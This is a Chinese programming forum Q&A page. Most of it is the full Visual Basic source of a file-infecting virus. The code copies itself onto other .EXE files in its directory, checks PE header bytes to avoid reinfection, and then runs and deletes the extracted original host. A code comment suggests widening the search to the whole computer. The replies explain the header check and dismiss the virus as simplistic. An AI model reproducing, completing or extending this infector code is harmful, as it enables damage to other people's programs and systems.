首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > VB >

关于文件二进制的一个源程序有关问题?(分不够可加)

2012-03-24 
关于文件二进制的一个源程序问题?(分不够可加)OptionExplicitPrivateVictimAsString要感染的文件的名字Pri

关于文件二进制的一个源程序问题?(分不够可加)
Option   Explicit
Private   Victim   As   String   '要感染的文件的名字
Private   HostLen   As   Long   '要感染的文件的大小
Private   vbArray()   As   Byte   '病毒的代码
Private   hArray()   As   Byte   '要感染的文件的代码
Private   lenght   As   Long
Private   MySize   As   Integer   '病毒的大小

Private   Declare   Function   OpenProcess   Lib   "kernel32 "   (ByVal   dwDesiredAccess   As   Long,   ByVal   bInheritHandle   As   Long,   ByVal   dwProcessId   As   Long)   As   Long
Private   Declare   Function   GetExitCodeProcess   Lib   "kernel32 "   (ByVal   hProcess   As   Long,   lpExitCode   As   Long)   As   Long
Private   Declare   Function   CloseHandle   Lib   "kernel32 "   (ByVal   hObject   As   Long)   As   Long
Private   iResult   As   Long
Private   hProg   As   Long
Private   idProg   As   Long
Private   iExit   As   Long
Const   STILL_ACTIVE   As   Long   =   &H103
Const   PROCESS_ALL_ACCESS   As   Long   =   &H1F0FFF

Private   Sub   form_Initialize()
Dim   i   As   Long
On   Error   GoTo   vbVerror   '出错处理

'原理:将生成病毒文件的代码读出,粘在要被感染的文件的后面。
Open   App.Path   &   "\ "   &   App.EXEName   &   ".exe "   For   Binary   Access   Read   _
As   #1
ReDim   MyArray(LOF(1)   -   1)
MySize   =   LOF(1)
ReDim   vbArray(MySize)
Get   #1,   1,   vbArray
Close   #1
'这是在读自己的代码


Victim   =   Dir(App.Path   &   "\ "   &   "*.EXE ")   '随便选一个文件(目前只是在病毒所在的目录下随机选一个,将来你可以修改,让它不断的循环搜索计算机上的所有文件。)
While   Victim   <>   " "

If   format(Victim,   "> ")   <>   format(App.EXEName   &   ".EXE ",   "> ")   Then
Open   App.Path   &   "\ "   &   Victim   For   Binary   Access   Read   As   #1
ReDim   hArray(LOF(1))
Get   #1,   1,   hArray
Close   #1
'读出病毒自身的代码


If   hArray(&H69)   <>   &H4D   Then

i   =   hArray(&H3C)
If   hArray(i)   =   &H50   Then
Open   App.Path   &   "\ "   &   Victim   For   Binary   Access   Write   As   #1
Put   #1,   ,   vbArray
Put   #1,   MySize,   hArray
Close   #1
End   If   '要保证被感染的不是空文件(不是圈套)
End   If
End   If
'读出准备被感染的文件的代码

Victim   =   Dir()   'Next

Wend

'下面的工作是为了保证病毒不会重复感染一个文件,也不会自我感染。

Open   App.Path   &   "\ "   &   App.EXEName   &   ".exe "   For   Binary   Access   Read   As   #1
lenght   =   LOF(1)   -   MySize
If   lenght   <>   0   Then
ReDim   vbArray(lenght   -   1)


Get   #1,   MySize,   vbArray
Close   #1

Open   App.Path   &   "\ "   &   App.EXEName   &   ".eve "   For   Binary   Access   Write   As   #1
Put   #1,   ,   vbArray
Close   #1


idProg   =   Shell(App.Path   &   "\ "   &   App.EXEName   &   ".eve ",   vbNormalFocus)
hProg   =   OpenProcess(PROCESS_ALL_ACCESS,   False,   idProg)
GetExitCodeProcess   hProg,   iExit
Do   While   iExit   =   STILL_ACTIVE
DoEvents
GetExitCodeProcess   hProg,   iExit
Loop
Kill   App.Path   &   "\ "   &   App.EXEName   &   ".eve "

Else
Close   #1

End   If

End

vbVerror:   '出错处理,空着就可以了

End   Sub
____________________________________________________________________


If   hArray(&H69)   <>   &H4D   Then

i   =   hArray(&H3C)
If   hArray(i)   =   &H50   Then
搞不清这三句是判断什么???


[解决办法]
自己定义的特征判断条件,

————————————————————————————————————
写作,虽然每个人都会查阅辞海,可,不是人人都能写出不朽的篇章的。编程,如是也。

[解决办法]
这个代码不是你写得吧
其实这样的病毒是最垃圾也是最简单的
如果你对反病毒有兴趣的话可以来我的论坛一起探讨
http://chenhui530.com/forum/index.php
[解决办法]
请看我写得这篇文章“手把手教你写熊猫烧香病毒专杀工具”
http://chenhui530.com/forum/thread-471-1-1.html

热点排行